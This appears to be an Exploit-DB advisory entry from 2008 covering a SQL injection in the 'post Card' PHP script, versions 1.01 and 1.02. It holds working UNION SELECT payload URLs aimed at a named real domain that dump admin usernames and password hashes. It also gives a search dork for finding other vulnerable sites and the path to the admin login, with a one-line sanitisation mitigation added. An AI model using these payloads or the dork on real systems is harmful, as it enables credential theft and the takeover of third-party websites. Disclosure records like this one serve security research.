post Card ( catid ) Remote SQL Injection Vulnerability

vendor:

post Card

by:

Hussin X

7.5

CVSS

HIGH

Remote SQL Injection

CWE

Product Name: post Card

Affected Version From: 01.01

Affected Version To: 01.02

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

post Card ( catid ) Remote SQL Injection Vulnerability

post Card v 1.01 http://webbdomain.com/php/postcarden/choosecard.php?catid=-1002+union+select+concat(username,0x3a,password),2,3+from+admin-- post Card v 1.02 http://webbdomain.com/php/postcardir/choosecard.php?catid=-1002+union+select+concat(username,0x3a,password),2,3+from+admin--

Mitigation:

Ensure that user input is properly sanitized and validated before being used in a SQL query.

Source

Exploit-DB raw data:

post Card ( catid )  Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

MaiL : darkangeL_G85@Yahoo.CoM
___________________________________

script    : http://webbdomain.com/php/postcarden/index2.php
script    : http://webbdomain.com/php/postcardir/index2.php

DorK   : inurl:choosecard.php?catid=
_____

ExploiT & Demo
_______

post Card  v 1.01

http://webbdomain.com/php/postcarden/choosecard.php?catid=-1002+union+select+concat(username,0x3a,password),2,3+from+admin--


post Card  v 1.02
http://webbdomain.com/php/postcardir/choosecard.php?catid=-1002+union+select+concat(username,0x3a,password),2,3+from+admin--


Note : Exploit in Properties  Picture


Login :
______
/admin




Greetz : All my freind

 
  Im IraQi        |         Im TrYaGi

# milw0rm.com [2008-11-04]